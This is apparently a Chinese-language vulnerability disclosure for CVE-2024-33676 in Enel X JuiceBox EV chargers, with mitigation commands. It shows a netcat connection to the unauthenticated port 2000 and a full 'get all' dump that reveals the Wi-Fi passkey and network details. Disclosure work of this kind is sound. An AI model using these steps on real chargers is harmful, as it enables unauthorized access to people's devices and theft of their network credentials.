dersecure/cve-2024-33676Enel X JuiceBox Level 2 电动汽车充电器上的弱身份验证和授权机制，使攻击者能够访问操作系统功能和参数。
本地电动汽车充电器 WLAN 网络上的用户可以提取个人身份信息 (PII)、更改设置并操纵操作系统文件系统。 这可以通过访问端口 2000 上的本地 Gecko OS 接口功能来实现。
该信息已于 2025 年 7 月 26 日在 BSides Albuquerque 大会上公布。幻灯片位于 此处。
受影响厂商：Enel X Way 受影响产品：JuiceBox Level 2 充电器
影响范围：Enel X Way（意大利公用事业与能源集团的子公司）电动汽车充电器
受影响版本：
滥用 JuiceBox Level 2 充电器的 Gecko OS 编程接口：
建议的 CVSS 4.0 评分：9.3 / 严重
选项 1：配置远程终端密码
> set re w R3411yG00dEVCh4rg3rPa@@word
> save
选项 2：通过 remote_terminal.enabled 参数禁用
> set re e false
> save
注意：本地网站似乎使用此命令接口来填充其信息，因此修改这些设置很可能会使本地 Web 服务无法运行，例如，gecko-os.js 使用 GET http://setup.com/command/get%20all。
DER Security 的 Jay Johnson
（特别感谢 Sandia National Laboratories 的 Brian Wright 对本研究的支持。）
如果与电动汽车充电器处于同一网络中，攻击者可以使用 netcat 连接端口 2000，然后利用 Gecko OS API 命令 与设备交互。
例如，通过 get all 即可获取 Wi-Fi 密码、网络信息及其他敏感信息。
$ nc 192.168.10.30 2000
EMWERK-JB201-1.0.46, Gecko_OS-STANDARD-4.2.7-11064, WGM160P
> get all
get all
app.debug.auto_run: 1
app.debug.ignore_settings: 0
app.info:
SDK version : 11064
Name : JBox_BT_Final.app
Size : 274852
Running : 1
broadcast.data: mac,bssid,channel,ip,ssid,rssi,remote_terminal_port,time,version,uuid
broadcast.http.host:
broadcast.interface: default
broadcast.interval: 10
broadcast.udp.ip: 255.255.255.255
broadcast.udp.local_port: 55555
broadcast.udp.remote_port: 55555
bus.command.read_timeout: 250
bus.command.rx_bufsize: 4096
bus.command.write_check_enabled: 0
bus.command.write_timeout: 25000
bus.data_bus: uart0
bus.log_bus: uart0
bus.mode: command
bus.stream.cmd_gpio: -1
bus.stream.cmd_seq: $$$
bus.stream.flush_count: 1460
bus.stream.flush_time: 20
bus.stream.flush_time_reset: 0
dfu.logs_enabled: 1
dfu.status: 0
dms.auto_start_enabled: 0
dms.bundle_id: 5fed5727-e67a-4a58-a0e0-e5da68e7f3fe
dms.cmd.enabled: 0
dms.connection.host: dfu.zentri.com
dms.connection.port: 443
dms.connection.timeout: 20
dms.interface: wlan
dms.product_id: ab92e1d2-632a-4939-afea-160d6beaf65d
dms.provision.status: 3
dms.telemetry.adc_mask: 0x0000
dms.telemetry.data_mask: 0x03FF
dms.telemetry.gpio_mask: 0x00000000
dms.telemetry.interval: 0
email.name_address: 0910042001280661727222696131
email.smtp.host:
email.smtp.password:
email.smtp.port: 587
email.smtp.username:
ethernet.auto_start.enabled: 0
ethernet.auto_start.retry_delay: 3
ethernet.dhcp.cache_enabled: 0
ethernet.dhcp.enabled: 1
ethernet.dhcp.hostname: gecko_os-#
ethernet.dhcp.timeout: 15
ethernet.link_detected_timeout: 7
ethernet.link_local.enabled: 0
ethernet.link_local.timeout: 20
ethernet.mac: 38:5C:FB:3A:B5:D2
ethernet.multicast.address: 0.0.0.0
ethernet.network.dns: 0.0.0.0
ethernet.network.gateway: 0.0.0.0
ethernet.network.ip: 0.0.0.0
ethernet.network.netmask: 0.0.0.0
ethernet.network.status: 0
ethernet.network.status_gpio: -1
ethernet.static.dns: 8.8.8.8
ethernet.static.gateway: 0.0.0.0
ethernet.static.ip: 0.0.0.0
ethernet.static.netmask: 255.255.255.0
gpio.alias:
! # Alias
gpio.init:
! # Description
gpio.sleep:
! # Description
gpio.usage:
! # Description
# 1 SPI1 CS
# 8 GPIO out
# 9 GPIO ipu
# 10 GPIO out
# 11 GPIO out
# 14 GPIO out
# 15 GPIO out
# 16 SPI16 CS
# 17 GPIO out
# 19 GPIO out
# 20 GPIO ipu
# 21 GPIO out
# 22 GPIO ood
# 23 UART0 TX
# 24 UART0 RX
# 25 GPIO out
# 26 GPIO out
http.client.retries: 3
http.client.retry_period: 1000
http.server.api_enabled: 1
http.server.auth_title:
http.server.cors_origin: 17EMOTORWERKS00030
http.server.denied_filename: webapp/unauthorized.html
http.server.enabled: 1
http.server.interface: default
http.server.keep_alive_enabled: 0
http.server.keep_alive_timeout: 300
http.server.max_clients: 6
http.server.notfound_filename:
http.server.password:
http.server.port: 80
http.server.root_filename: webapp/index.html
http.server.tls_cert:
http.server.tls_enabled: 0
http.server.tls_key:
http.server.tls_log_clients: 0
http.server.tls_peer_cert:
http.server.tls_verify_peer: 0
http.server.username: nmrx11.com.attz
http.server.ws_connected_gpio: -1
http.server.ws_data_gpio: -1
ioconn.control_gpio: -1
ioconn.enabled: 0
ioconn.local_port: 0
ioconn.protocol: tcp
ioconn.remote_host:
ioconn.remote_port: 0
ioconn.status_gpio: -1
mdns.enabled: 0
mdns.interface: default
mdns.name: gecko_os-#
mdns.service:
http - disabled
tcp - disabled
udp - disabled
remote_terminal - disabled
mdns.ttl: 300
network.arp.lock_enabled: 0
network.arp.table_size: 8
network.bridge.auto_start: 0
network.bridge.info: state: down
SSID: Gecko_OS-#
channel: 0
clients: 0
network.bridge.interface_1: none
network.bridge.interface_2: none
network.buffer.control_size: 8192
network.buffer.rxtx_ratio: 50
network.buffer.size: 61440
network.buffer.usage: RX:00,TX:05
network.default_interface: wlan
network.dns.timeout: 6000
network.tcp.delivery_type: normal
network.tls.ca_cert: godaddy_ca.pem
network.tls.ca_cert_verify_enabled: 1
network.tls.client_cert:
network.tls.client_key:
network.tls.handshake_timeout: 15
network.tls.version: 12
ntp.enabled: 1
ntp.interface: default
ntp.interval: 3600
ntp.server: pool.ntp.org
remote_terminal.enabled: 1
remote_terminal.interface: default
remote_terminal.password:
remote_terminal.port: 2000
remote_terminal.timeout: 60
setup.auto.cmd:
setup.gpio.cmd: setup_web
setup.gpio.control_gpio: -1
setup.gpio.level: 1
setup.gpio.mode: gpio
setup.web.captive_portal_enabled: 0
setup.web.client_list: ! Connected: 0
setup.web.idle_timeout: 600
setup.web.passkey:
setup.web.root_filename: webapp/index.html
setup.web.ssid: JuiceNet-#
setup.web.url: setup.com,www.setup.com,connectivitycheck.gstatic…
softap.auto_start: 0
softap.captive_portal_enabled: 1
softap.channel: 0
softap.client_list: ! Connected: 0
softap.dhcp_server.enabled: 1
softap.dhcp_server.lease_time: 86400
softap.dns_server.enabled: 1
softap.dns_server.url: silabs.com,www.silabs.com
softap.hide_ssid: 0
softap.idle_timeout: 7
softap.info: state: down
SSID: Gecko_OS-#
channel: 0
clients: 0
softap.mac: F4:B3:B1:8A:56:C2
softap.mac_filter.enabled: 0
softap.mac_filter.info:
MAC Addresses:
softap.mac_filter.mode: whitelist
softap.max_clients: 4
softap.passkey:
softap.rssi_average: 0
softap.ssid: Gecko_OS-#
softap.static.gateway: 0.0.0.0
softap.static.ip: 10.10.10.1
softap.static.netmask: 255.255.255.240
softap.tx_power: auto
spi.master.active_gpio: -1
spi.master.active_level: 1
stream.auto_close: 1
system.activity.gpio: none
system.activity.gpio_level: 1
system.adc.vref: 3300
system.bflash.cs_gpio: -1
system.bflash.port: spi1
system.bootloader.fsb_version: 1.7.0
system.bootloader.ssb_version: 1.7.3
system.build_number: 231addee2
system.cmd.aux_bus: 0
system.cmd.buffered: 0
system.cmd.echo: 1
system.cmd.gpio: -1
system.cmd.header_enabled: 0
system.cmd.prompt_enabled: 1
system.cmd.timestamp: none
system.debug.coredump_enabled: 0
system.factory_reset.gpio: 16
system.factory_reset.level: 0
system.hfxo.enabled: 0
system.hfxo.status: 0
system.indicator.gpio: network:-1, softap:-1, wlan:-1, ethernet:-1
system.indicator.state: network:fast_blink|medium_blink|slow_blink, softap:static_off|fast_blink|medium_blink|slow_blink, wlan:static_off|fast_blink|medium_blink|slow_blink, ethernet:static_off|fast_blink|medium_blink|slow_blink
system.interface.ethernet_enabled: 0
system.interface.wifi_enabled: 1
system.memory.usage: 16
system.msg:
initialized - [@tReady]
stream_closed - [@tClosed: @c]
stream_failed - [@tOpen failed]
stream_opened - [@tOpened: @c]
stream_opening - [@tOpening: @h]
shutdown - [@tShutdown]
wlan_failed - [@tJoin failed]
wlan_joined - [@tAssociated]
wlan_joining - [@tAssociating to @s]
wlan_leave - [@tDisassociated]
softap_joined - [@t@m associated]
softap_leave - [@t@m disassociated]
ethernet_starting - [@tEthernet Starting]
ethernet_started - [@tEthernet Started]
ethernet_stopped - [@tEthernet Stopped]
ethernet_failed - [@tEthernet Failed]
system.oob.event_mask: 0x0000
system.oob.gpio: -1
system.oob.gpio_level: 1
system.oob.rising_edge_mask: 0x0000
system.oob.status: 0x0000
system.powersave.idle_timeout: 250
system.powersave.mode: 1
system.powersave.wakeup_gpio_level_mask: 0x00000000
system.powersave.wakeup_gpio_mask: 0x00000000
system.print_level: async_sys
system.safemode.console_timeout: 10
system.safemode.disabled: 0
system.safemode.ota_auto_retry: 1
system.safemode.sleep_timeout: 0
system.safemode.status: 0
system.shutdown.wakeup_gpio_level_mask: 0x00000000
system.shutdown.wakeup_gpio_mask: 0x00000000
system.shutdown.wakeup_timeout: 0
system.uuid: EADE2FF34483EEDC048C3224385CFBFFFE3AB5D2
system.variable_lock: 0x00
system.version: EMWERK-JB201-1.0.46, Gecko_OS-STANDARD-4.2.7-11064, WGM160P
tcp.client.auto_interface: default
tcp.client.auto_retries: 0
tcp.client.auto_start: 0
tcp.client.connect_timeout: 4000
tcp.client.local_port: 0
tcp.client.remote_host:
tcp.client.remote_port: 3000
tcp.client.retries: 1
tcp.client.retry_period: 1000
tcp.client.tls_enabled: 0
tcp.keepalive.enabled: 0
tcp.keepalive.initial_timeout: 60
tcp.keepalive.retry_count: 5
tcp.keepalive.retry_timeout: 5
tcp.server.auto_interface: default
tcp.server.auto_start: 0
tcp.server.connected_gpio: -1
tcp.server.data_gpio: -1
tcp.server.idle_timeout: 60
tcp.server.max_clients: 8
tcp.server.port: 3000
tcp.server.tls_cert:
tcp.server.tls_enabled: 0
tcp.server.tls_key:
tcp.server.tls_peer_cert:
tcp.server.tls_verify_peer: 0
time.last_set: 41
time.rtc: 1687816798
time.uptime: 197
time.zone: 0
uart.baud: uart0:115200,uart1:115200
uart.data: uart0:8,uart1:8
uart.flow: uart0:off,uart1:off
uart.parity: uart0:none,uart1:none
uart.powersave.mode: uart0:0,uart1:0
uart.stop: uart0:1,uart1:1
udp.client.auto_interface: default
udp.client.auto_retry: 0
udp.client.auto_start: 0
udp.client.local_port: 0
udp.client.remote_host:
udp.client.remote_port: 3000
udp.server.auto_interface: default
udp.server.auto_start: 0
udp.server.data_gpio: -1
udp.server.lock_client: 0
udp.server.port: 3000
udp.server.remote_host:
udp.server.remote_port: 0
wlan.antenna.select: 1
wlan.auto_join.enabled: 0
wlan.auto_join.retries: 0
wlan.auto_join.retry_delay: 10
wlan.backoff: ! # Ch Attenuation (dbm)
# 0 1 0,0,0,0,0,0
# 1 2 0,0,0,0,0,0
# 2 3 0,0,0,0,0,0
# 3 4 0,0,0,0,0,0
# 4 5 0,0,0,0,0,0
# 5 6 0,0,0,0,0,0
# 6 7 0,0,0,0,0,0
# 7 8 0,0,0,0,0,0
# 8 9 0,0,0,0,0,0
# 9 10 0,0,0,0,0,0
# 10 11 0,0,0,0,0,0
# 11 12 0,0,0,0,0,0
# 12 13 0,0,0,0,0,0
# 13 14 0,0,0,0,0,0
wlan.bssid: 00:00:00:00:00:00
wlan.coex.mode: 0
wlan.dhcp.cache_enabled: 0
wlan.dhcp.enabled: 1
wlan.dhcp.hostname: gecko_os-#
wlan.dhcp.timeout: 15
wlan.hide_passkey: 0
wlan.info: state: up
SSID: SaulsGWiFi
BSSID: 00:C0:<<REDACTED>>
channel: 6
datarate: 65.0
wlan.join.result: 1
wlan.join.retries: 3
wlan.join.timeout: 7000
wlan.link_local.enabled: 0
wlan.link_local.timeout: 20
wlan.mac: F4:B3:B1:8A:56:C1
wlan.multicast.address: 0.0.0.0
wlan.network.dns: 192.168.10.1
wlan.network.gateway: 192.168.10.1
wlan.network.ip: 192.168.10.30
wlan.network.netmask: 255.255.255.0
wlan.network.status: 2
wlan.network.status_gpio: -1
wlan.passkey: Iamtheonewhoknocks
wlan.powersave.listen_interval: 0
wlan.powersave.mode: 0
wlan.rate.protocol: auto
wlan.rate.transmit: auto
wlan.roam.threshold: -99
wlan.rssi_average: 0
wlan.scan.active_dwell: 75
wlan.scan.channel_mask: 0x07FF
wlan.scan.home_dwell: 50
wlan.scan.num_probes: 3
wlan.scan.passive_dwell: 110
wlan.scan.retries: 3
wlan.scan.type: active
wlan.security: Auto
wlan.ssid: SaulsGWiFi
wlan.static.dns: 8.8.8.8
wlan.static.gateway: 0.0.0.0
wlan.static.ip: 0.0.0.0
wlan.static.netmask: 0.0.0.0
wlan.tx_power: auto
读取 GPIO 配置。
读取 OCPP 配置。
使用 HTTP 服务器，可以将设备中的大部分文件系统内容传输出来。
幸运的是，无法使用 stream_read 读取二进制数据，也无法通过 http_upload 传输内核或 .app 文件。
以下方向尚未被探索，但可能会带来更多漏洞：
dms_claim 函数。如有任何更正/修改/更新，请与我联系。